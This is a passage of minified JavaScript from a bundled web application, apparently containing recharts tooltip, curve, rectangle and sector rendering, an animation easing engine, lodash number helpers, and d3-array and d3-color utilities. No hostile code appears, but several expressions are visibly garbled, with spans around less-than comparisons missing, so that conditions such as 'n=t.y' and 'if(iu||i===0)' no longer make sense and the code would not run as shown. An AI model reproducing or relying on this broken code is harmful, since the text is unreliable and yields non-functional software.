v.createElement("div",G0({className:_,style:S},j),v.createElement("p",{className:T,style:w},v.isValidElement(A)?A:"".concat(A)),x())},ac="recharts-tooltip-wrapper",zY={visibility:"hidden"};function $Y(e){var{coordinate:t,translateX:n,translateY:r}=e;return Ye(ac,{["".concat(ac,"-right")]:Oe(n)&&t&&Oe(t.x)&&n>=t.x,["".concat(ac,"-left")]:Oe(n)&&t&&Oe(t.x)&&n=t.y,["".concat(ac,"-top")]:Oe(r)&&t&&Oe(t.y)&&r0?i:0),m=n[r]+i;if(t[r])return c[r]?p:m;var y=f[r];if(y==null)return 0;if(c[r]){var x=p,S=y;return xO?Math.max(p,y):Math.max(m,y)}function BY(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function UY(e){var{allowEscapeViewBox:t,coordinate:n,offsetTopLeft:r,position:i,reverseDirection:l,tooltipBox:c,useTranslate3d:u,viewBox:f}=e,h,p,m;return c.height>0&&c.width>0&&n?(p=aT({allowEscapeViewBox:t,coordinate:n,key:"x",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.width,viewBox:f,viewBoxDimension:f.width}),m=aT({allowEscapeViewBox:t,coordinate:n,key:"y",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.height,viewBox:f,viewBoxDimension:f.height}),h=BY({translateX:p,translateY:m,useTranslate3d:u})):h=zY,{cssProperties:h,cssClasses:$Y({translateX:p,translateY:m,coordinate:n})}}function iT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jf(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,l;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(l=this.props.coordinate)===null||l===void 0?void 0:l.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:l,coordinate:c,hasPayload:u,isAnimationActive:f,offset:h,position:p,reverseDirection:m,useTranslate3d:y,viewBox:x,wrapperStyle:S,lastBoundingBox:w,innerRef:O,hasPortalFromProps:A}=this.props,{cssClasses:_,cssProperties:T}=UY({allowEscapeViewBox:n,coordinate:c,offsetTopLeft:h,position:p,reverseDirection:m,tooltipBox:{height:w.height,width:w.width},useTranslate3d:y,viewBox:x}),j=A?{}:Jf(Jf({transition:f&&t?"transform ".concat(r,"ms ").concat(i):void 0},T),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&u?"visible":"hidden",position:"absolute",top:0,left:0}),M=Jf(Jf({},j),{},{visibility:!this.state.dismissed&&t&&u?"visible":"hidden"},S);return v.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:_,style:M,ref:O},l)}}var AD=()=>{var e;return(e=we(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function X0(){return X0=Object.assign?Object.assign.bind():function(e){for(var t=1;tht(e.x)&&ht(e.y),cT=e=>e.base!=null&&Yd(e.base)&&Yd(e),ic=e=>e.x,oc=e=>e.y,GY=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Yc(e));return(n==="curveMonotone"||n==="curveBump")&&t?sT["".concat(n).concat(t==="vertical"?"Y":"X")]:sT[n]||Yh},WY=e=>{var{type:t="linear",points:n=[],baseLine:r,layout:i,connectNulls:l=!1}=e,c=GY(t,i),u=l?n.filter(Yd):n,f;if(Array.isArray(r)){var h=n.map((x,S)=>lT(lT({},x),{},{base:r[S]}));i==="vertical"?f=Vf().y(oc).x1(ic).x0(x=>x.base.x):f=Vf().x(ic).y1(oc).y0(x=>x.base.y);var p=f.defined(cT).curve(c),m=l?h.filter(cT):h;return p(m)}i==="vertical"&&Oe(r)?f=Vf().y(oc).x1(ic).x0(r):Oe(r)?f=Vf().x(ic).y1(oc).y0(r):f=rR().x(ic).y(oc);var y=f.defined(Yd).curve(c);return y(u)},Cx=e=>{var{className:t,points:n,path:r,pathRef:i}=e,l=Jc();if((!n||!n.length)&&!r)return null;var c={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||l,connectNulls:e.connectNulls},u=n&&n.length?WY(c):r;return v.createElement("path",X0({},Ur(e),AF(e),{className:Ye("recharts-curve",t),d:u===null?void 0:u,ref:i}))},XY=["x","y","top","left","width","height","className"];function Z0(){return Z0=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(l,",").concat(t,"h").concat(n),aG=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:l=0,height:c=0,className:u}=e,f=tG(e,XY),h=ZY({x:t,y:n,top:r,left:i,width:l,height:c},f);return!Oe(t)||!Oe(n)||!Oe(l)||!Oe(c)||!Oe(r)||!Oe(i)?null:v.createElement("path",Z0({},ur(h),{className:Ye("recharts-cross",u),d:rG(t,n,l,c,r,i)}))};function iG(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function fT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function dT(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),CD=(e,t,n)=>e.map(r=>"".concat(cG(r)," ").concat(t,"ms ").concat(n)).join(","),uG=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Pc=(e,t)=>Object.keys(t).reduce((n,r)=>dT(dT({},n),{},{[r]:e(r,t[r])}),{});function hT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dt(e){for(var t=1;te+(t-e)*n,Q0=e=>{var{from:t,to:n}=e;return t!==n},_D=(e,t,n)=>{var r=Pc((i,l)=>{if(Q0(l)){var[c,u]=e(l.from,l.to,l.velocity);return Dt(Dt({},l),{},{from:c,velocity:u})}return l},t);return n<1?Pc((i,l)=>Q0(l)&&r[i]!=null?Dt(Dt({},l),{},{velocity:Gd(l.velocity,r[i].velocity,n),from:Gd(l.from,r[i].from,n)}):l,t):_D(e,r,n-1)};function pG(e,t,n,r,i,l){var c,u=r.reduce((y,x)=>Dt(Dt({},y),{},{[x]:{from:e[x],velocity:0,to:t[x]}}),{}),f=()=>Pc((y,x)=>x.from,u),h=()=>!Object.values(u).filter(Q0).length,p=null,m=y=>{c||(c=y);var x=y-c,S=x/n.dt;u=_D(n,u,S),i(Dt(Dt(Dt({},e),t),f())),c=y,h()||(p=l.setTimeout(m))};return()=>(p=l.setTimeout(m),()=>{var y;(y=p)===null||y===void 0||y()})}function mG(e,t,n,r,i,l,c){var u=null,f=i.reduce((m,y)=>{var x=e[y],S=t[y];return x==null||S==null?m:Dt(Dt({},m),{},{[y]:[x,S]})},{}),h,p=m=>{h||(h=m);var y=(m-h)/r,x=Pc((w,O)=>Gd(...O,n(y)),f);if(l(Dt(Dt(Dt({},e),t),x)),y<1)u=c.setTimeout(p);else{var S=Pc((w,O)=>Gd(...O,n(1)),f);l(Dt(Dt(Dt({},e),t),S))}};return()=>(u=c.setTimeout(p),()=>{var m;(m=u)===null||m===void 0||m()})}const vG=(e,t,n,r,i,l)=>{var c=uG(e,t);return n==null?()=>(i(Dt(Dt({},e),t)),()=>{}):n.isStepper===!0?pG(e,t,n,c,i,l):mG(e,t,n,r,c,i,l)};var Wd=1e-4,TD=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],ND=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),pT=(e,t)=>n=>{var r=TD(e,t);return ND(r,n)},gG=(e,t)=>n=>{var r=TD(e,t),i=[...r.map((l,c)=>l*c).slice(1),0];return ND(i,n)},yG=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(l=>parseFloat(l));return[i[0],i[1],i[2],i[3]]},bG=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=pT(e,n),l=pT(t,r),c=gG(e,n),u=h=>h>1?1:h<0?0:h,f=h=>{for(var p=h>1?1:h,m=p,y=0;y<8;++y){var x=i(m)-p,S=c(m);if(Math.abs(x-p)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,l=(c,u,f)=>{var h=-(c-u)*n,p=f*r,m=f+(h-p)*i/1e3,y=f*i/1e3+c;return Math.abs(y-u){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return mT(e);case"spring":return wG();default:if(e.split("(")[0]==="cubic-bezier")return mT(e)}return typeof e=="function"?e:null};function OG(e){var t,n=()=>null,r=!1,i=null,l=c=>{if(!r){if(Array.isArray(c)){if(!c.length)return;var u=c,[f,...h]=u;if(typeof f=="number"){i=e.setTimeout(l.bind(null,h),f);return}l(f),i=e.setTimeout(l.bind(null,h));return}typeof c=="string"&&(t=c,n(t)),typeof c=="object"&&(t=c,n(t)),typeof c=="function"&&c()}};return{stop:()=>{r=!0},start:c=>{r=!1,i&&(i(),i=null),l(c)},subscribe:c=>(n=c,()=>{n=()=>null}),getTimeoutController:()=>e}}class EG{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,l=c=>{c-r>=n?t(c):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(l))};return i=requestAnimationFrame(l),()=>{i!=null&&cancelAnimationFrame(i)}}}function AG(){return OG(new EG)}var CG=v.createContext(AG);function _G(e,t){var n=v.useContext(CG);return v.useMemo(()=>t??n(e),[e,t,n])}var TG=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),mp={isSsr:TG()},NG={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},vT={t:0},My={t:1};function vp(e){var t=pn(e,NG),{isActive:n,canBegin:r,duration:i,easing:l,begin:c,onAnimationEnd:u,onAnimationStart:f,children:h}=t,p=n==="auto"?!mp.isSsr:n,m=_G(t.animationId,t.animationManager),[y,x]=v.useState(p?vT:My),S=v.useRef(null);return v.useEffect(()=>{p||x(My)},[p]),v.useEffect(()=>{if(!p||!r)return Gc;var w=vG(vT,My,SG(l),i,x,m.getTimeoutController()),O=()=>{S.current=w()};return m.start([f,c,O,i,u]),()=>{m.stop(),S.current&&S.current(),u()}},[p,r,i,l,c,f,u,m]),h(y.t)}function gp(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=v.useRef(Ac(t)),r=v.useRef(e);return r.current!==e&&(n.current=Ac(t),r.current=e),n.current}var MG=["radius"],jG=["radius"],gT,yT,bT,xT,wT,ST,OT,ET,AT,CT;function _T(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function TT(e){for(var t=1;t{var l=yi(n),c=yi(r),u=Math.min(Math.abs(l)/2,Math.abs(c)/2),f=c>=0?1:-1,h=l>=0?1:-1,p=c>=0&&l>=0||c<0&&l<0?1:0,m;if(u>0&&i instanceof Array){for(var y=[0,0,0,0],x=0,S=4;xu?u:i[x];m=gt(gT||(gT=Pr(["M",",",""])),e,t+f*y[0]),y[0]>0&&(m+=gt(yT||(yT=Pr(["A ",",",",0,0,",",",",",""])),y[0],y[0],p,e+h*y[0],t)),m+=gt(bT||(bT=Pr(["L ",",",""])),e+n-h*y[1],t),y[1]>0&&(m+=gt(xT||(xT=Pr(["A ",",",",0,0,",`, - `,",",""])),y[1],y[1],p,e+n,t+f*y[1])),m+=gt(wT||(wT=Pr(["L ",",",""])),e+n,t+r-f*y[2]),y[2]>0&&(m+=gt(ST||(ST=Pr(["A ",",",",0,0,",`, - `,",",""])),y[2],y[2],p,e+n-h*y[2],t+r)),m+=gt(OT||(OT=Pr(["L ",",",""])),e+h*y[3],t+r),y[3]>0&&(m+=gt(ET||(ET=Pr(["A ",",",",0,0,",`, - `,",",""])),y[3],y[3],p,e,t+r-f*y[3])),m+="Z"}else if(u>0&&i===+i&&i>0){var w=Math.min(u,i);m=gt(AT||(AT=Pr(["M ",",",` - A `,",",",0,0,",",",",",` - L `,",",` - A `,",",",0,0,",",",",",` - L `,",",` - A `,",",",0,0,",",",",",` - L `,",",` - A `,",",",0,0,",",",","," Z"])),e,t+f*w,w,w,p,e+h*w,t,e+n-h*w,t,w,w,p,e+n,t+f*w,e+n,t+r-f*w,w,w,p,e+n-h*w,t+r,e+h*w,t+r,w,w,p,e,t+r-f*w)}else m=gt(CT||(CT=Pr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return m},jT={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},MD=e=>{var t=pn(e,jT),n=v.useRef(null),[r,i]=v.useState(-1);v.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:l,y:c,width:u,height:f,radius:h,className:p}=t,{animationEasing:m,animationDuration:y,animationBegin:x,isAnimationActive:S,isUpdateAnimationActive:w}=t,O=v.useRef(u),A=v.useRef(f),_=v.useRef(l),T=v.useRef(c),j=v.useMemo(()=>({x:l,y:c,width:u,height:f,radius:h}),[l,c,u,f,h]),M=gp(j,"rectangle-");if(l!==+l||c!==+c||u!==+u||f!==+f||u===0||f===0)return null;var P=Ye("recharts-rectangle",p);if(!w){var R=ur(t),{radius:I}=R,B=NT(R,MG);return v.createElement("path",Xd({},B,{x:yi(l),y:yi(c),width:yi(u),height:yi(f),radius:typeof h=="number"?h:void 0,className:P,d:MT(l,c,u,f,h)}))}var q=O.current,U=A.current,V=_.current,oe=T.current,le="0px ".concat(r===-1?1:r,"px"),ce="".concat(r,"px 0px"),L=CD(["strokeDasharray"],y,typeof m=="string"?m:jT.animationEasing);return v.createElement(vp,{animationId:M,key:M,canBegin:r>0,duration:y,easing:m,isActive:w,begin:x},F=>{var $=Rt(q,u,F),Z=Rt(U,f,F),de=Rt(V,l,F),D=Rt(oe,c,F);n.current&&(O.current=$,A.current=Z,_.current=de,T.current=D);var X;S?F>0?X={transition:L,strokeDasharray:ce}:X={strokeDasharray:le}:X={strokeDasharray:ce};var ae=ur(t),{radius:se}=ae,me=NT(ae,jG);return v.createElement("path",Xd({},me,{radius:typeof h=="number"?h:void 0,className:P,d:MT(de,D,$,Z,h),ref:n,style:TT(TT({},X),t.style)}))})};function PT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function RT(e){for(var t=1;te*180/Math.PI,Nt=(e,t,n,r)=>({x:e+Math.cos(-Zd*r)*n,y:t+Math.sin(-Zd*r)*n}),jD=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},BG=(e,t)=>{var{x:n,y:r}=e,{x:i,y:l}=t;return Math.sqrt((n-i)**2+(r-l)**2)},UG=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:l}=t,c=BG({x:n,y:r},{x:i,y:l});if(c<=0)return{radius:c,angle:0};var u=(n-i)/c,f=Math.acos(u);return r>l&&(f=2*Math.PI-f),{radius:c,angle:$G(f),angleInRadian:f}},HG=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),l=Math.min(r,i);return{startAngle:t-l*360,endAngle:n-l*360}},qG=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),l=Math.floor(r/360),c=Math.min(i,l);return e+c*360},FG=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:l}=UG({x:n,y:r},t),{innerRadius:c,outerRadius:u}=t;if(iu||i===0)return null;var{startAngle:f,endAngle:h}=HG(t),p=l,m;if(f<=h){for(;p>h;)p-=360;for(;p=f&&p<=h}else{for(;p>f;)p-=360;for(;p=h&&p<=f}return m?RT(RT({},t),{},{radius:i,angle:qG(p,t)}):null};function PD(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:l}=e,c=Nt(t,n,r,i),u=Nt(t,n,r,l);return{points:[c,u],cx:t,cy:n,radius:r,startAngle:i,endAngle:l}}var DT,kT,LT,IT,zT,$T,BT;function J0(){return J0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=tn(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},ed=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:l,isExternal:c,cornerRadius:u,cornerIsExternal:f}=e,h=u*(c?1:-1)+r,p=Math.asin(u/h)/Zd,m=f?i:i+l*p,y=Nt(t,n,h,m),x=Nt(t,n,r,m),S=f?i-l*p:i,w=Nt(t,n,h*Math.cos(p*Zd),S);return{center:y,circleTangency:x,lineTangency:w,theta:p}},RD=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:l,endAngle:c}=e,u=VG(l,c),f=l+u,h=Nt(t,n,i,l),p=Nt(t,n,i,f),m=gt(DT||(DT=Zi(["M ",",",` - A `,",",`,0, - `,",",`, - `,",",` - `])),h.x,h.y,i,i,+(Math.abs(u)>180),+(l>f),p.x,p.y);if(r>0){var y=Nt(t,n,r,l),x=Nt(t,n,r,f);m+=gt(kT||(kT=Zi(["L ",",",` - A `,",",`,0, - `,",",`, - `,","," Z"])),x.x,x.y,r,r,+(Math.abs(u)>180),+(l<=f),y.x,y.y)}else m+=gt(LT||(LT=Zi(["L ",","," Z"])),t,n);return m},KG=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:l,forceCornerRadius:c,cornerIsExternal:u,startAngle:f,endAngle:h}=e,p=tn(h-f),{circleTangency:m,lineTangency:y,theta:x}=ed({cx:t,cy:n,radius:i,angle:f,sign:p,cornerRadius:l,cornerIsExternal:u}),{circleTangency:S,lineTangency:w,theta:O}=ed({cx:t,cy:n,radius:i,angle:h,sign:-p,cornerRadius:l,cornerIsExternal:u}),A=u?Math.abs(f-h):Math.abs(f-h)-x-O;if(A<0)return c?gt(IT||(IT=Zi(["M ",",",` - a`,",",",0,0,1,",`,0 - a`,",",",0,0,1,",`,0 - `])),y.x,y.y,l,l,l*2,l,l,-l*2):RD({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:f,endAngle:h});var _=gt(zT||(zT=Zi(["M ",",",` - A`,",",",0,0,",",",",",` - A`,",",",0,",",",",",",",` - A`,",",",0,0,",",",",",` - `])),y.x,y.y,l,l,+(p<0),m.x,m.y,i,i,+(A>180),+(p<0),S.x,S.y,l,l,+(p<0),w.x,w.y);if(r>0){var{circleTangency:T,lineTangency:j,theta:M}=ed({cx:t,cy:n,radius:r,angle:f,sign:p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),{circleTangency:P,lineTangency:R,theta:I}=ed({cx:t,cy:n,radius:r,angle:h,sign:-p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),B=u?Math.abs(f-h):Math.abs(f-h)-M-I;if(B<0&&l===0)return"".concat(_,"L").concat(t,",").concat(n,"Z");_+=gt($T||($T=Zi(["L",",",` - A`,",",",0,0,",",",",",` - A`,",",",0,",",",",",",",` - A`,",",",0,0,",",",",","Z"])),R.x,R.y,l,l,+(p<0),P.x,P.y,r,r,+(B>180),+(p>0),T.x,T.y,l,l,+(p<0),j.x,j.y)}else _+=gt(BT||(BT=Zi(["L",",","Z"])),t,n);return _},YG={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},DD=e=>{var t=pn(e,YG),{cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:c,forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p,className:m}=t;if(l0&&Math.abs(h-p)<360?w=KG({cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:Math.min(S,x/2),forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p}):w=RD({cx:n,cy:r,innerRadius:i,outerRadius:l,startAngle:h,endAngle:p}),v.createElement("path",J0({},ur(t),{className:y,d:w}))};function GG(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(yR(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:l,outerRadius:c,angle:u}=t,f=Nt(r,i,l,u),h=Nt(r,i,c,u);return[{x:f.x,y:f.y},{x:h.x,y:h.y}]}return PD(t)}}var jy={},Py={},Ry={},UT;function WG(){return UT||(UT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR();function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Ry)),Ry}var HT;function XG(){return HT||(HT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=WG();function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Py)),Py}var qT;function ZG(){return qT||(qT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=MR(),n=XG();function r(i,l,c){c&&typeof c!="number"&&t.isIterateeCall(i,l,c)&&(l=c=void 0),i=n.toFinite(i),l===void 0?(l=i,i=0):l=n.toFinite(l),c=c===void 0?it?1:e>=t?0:NaN}function eW(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function _x(e){let t,n,r;e.length!==2?(t=bi,n=(u,f)=>bi(e(u),f),r=(u,f)=>e(u)-f):(t=e===bi||e===eW?e:tW,n=e,r=e);function i(u,f,h=0,p=u.length){if(h>>1;n(u[m],f)<0?h=m+1:p=m}while(h>>1;n(u[m],f)<=0?h=m+1:p=m}while(hh&&r(u[m-1],f)>-r(u[m],f)?m-1:m}return{left:i,center:c,right:l}}function tW(){return 0}function LD(e){return e===null?NaN:+e}function*nW(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const rW=_x(bi),tu=rW.right;_x(LD).center;class VT extends Map{constructor(t,n=oW){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(KT(this,t))}has(t){return super.has(KT(this,t))}set(t,n){return super.set(aW(this,t),n)}delete(t){return super.delete(iW(this,t))}}function KT({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function aW({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function iW({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function oW(e){return e!==null&&typeof e=="object"?e.valueOf():e}function lW(e=bi){if(e===bi)return ID;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function ID(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const sW=Math.sqrt(50),cW=Math.sqrt(10),uW=Math.sqrt(2);function Qd(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),l=r/Math.pow(10,i),c=l>=sW?10:l>=cW?5:l>=uW?2:1;let u,f,h;return i<0?(h=Math.pow(10,-i)/c,u=Math.round(e*h),f=Math.round(t*h),u/ht&&--f,h=-h):(h=Math.pow(10,i)*c,u=Math.round(e/h),f=Math.round(t/h),u*ht&&--f),f0))return[];if(e===t)return[e];const r=t=i))return[];const u=l-i+1,f=new Array(u);if(r)if(c<0)for(let h=0;h=r)&&(n=r);return n}function GT(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function zD(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?ID:lW(i);r>n;){if(r-n>600){const f=r-n+1,h=t-n+1,p=Math.log(f),m=.5*Math.exp(2*p/3),y=.5*Math.sqrt(p*m*(f-m)/f)*(h-f/2<0?-1:1),x=Math.max(n,Math.floor(t-h*m/f+y)),S=Math.min(r,Math.floor(t+(f-h)*m/f+y));zD(e,t,x,S,i)}const l=e[t];let c=n,u=r;for(lc(e,n,t),i(e[r],l)>0&&lc(e,n,r);c0;)--u}i(e[n],l)===0?lc(e,n,u):(++u,lc(e,u,r)),u<=t&&(n=u+1),t<=u&&(r=u-1)}return e}function lc(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function fW(e,t,n){if(e=Float64Array.from(nW(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return GT(e);if(t>=1)return YT(e);var r,i=(r-1)*t,l=Math.floor(i),c=YT(zD(e,l).subarray(0,l+1)),u=GT(e.subarray(l+1));return c+(u-c)*(i-l)}}function dW(e,t,n=LD){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,l=Math.floor(i),c=+n(e[l],l,e),u=+n(e[l+1],l+1,e);return c+(u-c)*(i-l)}}function hW(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,l=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?td(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?td(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=vW.exec(e))?new En(t[1],t[2],t[3],1):(t=gW.exec(e))?new En(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=yW.exec(e))?td(t[1],t[2],t[3],t[4]):(t=bW.exec(e))?td(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=xW.exec(e))?tN(t[1],t[2]/100,t[3]/100,1):(t=wW.exec(e))?tN(t[1],t[2]/100,t[3]/100,t[4]):WT.hasOwnProperty(e)?QT(WT[e]):e==="transparent"?new En(NaN,NaN,NaN,0):null}function QT(e){return new En(e>>16&255,e>>8&255,e&255,1)}function td(e,t,n,r){return r<=0&&(e=t=n=NaN),new En(e,t,n,r)}function EW(e){return e instanceof nu||(e=kc(e)),e?(e=e.rgb(),new En(e.r,e.g,e.b,e.opacity)):new En}function ab(e,t,n,r){return arguments.length===1?EW(e):new En(e,t,n,r??1)}function En(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Mx(En,ab,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new En(to(this.r),to(this.g),to(this.b),eh(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:JT,formatHex:JT,formatHex8:AW,formatRgb:eN,toString:eN}));function JT(){return`#${Qi(this.r)}${Qi(this.g)}${Qi(this.b)}`}function AW(){return`#${Qi(this.r)}${Qi(this.g)}${Qi(this.b)}${Qi((isNaN(this.opacity)?1:this.opacity)*255)}`}function eN(){const e=eh(this.opacity);return`${e===1?"rgb(":"rgba("}${to(this.r)}, ${to(this.g)}, ${to(this.b)}${e===1?")":`, ${e})`}`}function eh(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function to(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Qi(e){return e=to(e),(e<16?"0":"")+e.toString(16)}function tN(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new wr(e,t,n,r)}function UD(e){if(e instanceof wr)return new wr(e.h,e.s,e.l,e.opacity);if(e instanceof nu||(e=kc(e)),!e)return new wr;if(e instanceof wr)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),l=Math.max(t,n,r),c=NaN,u=l-i,f=(l+i)/2;return 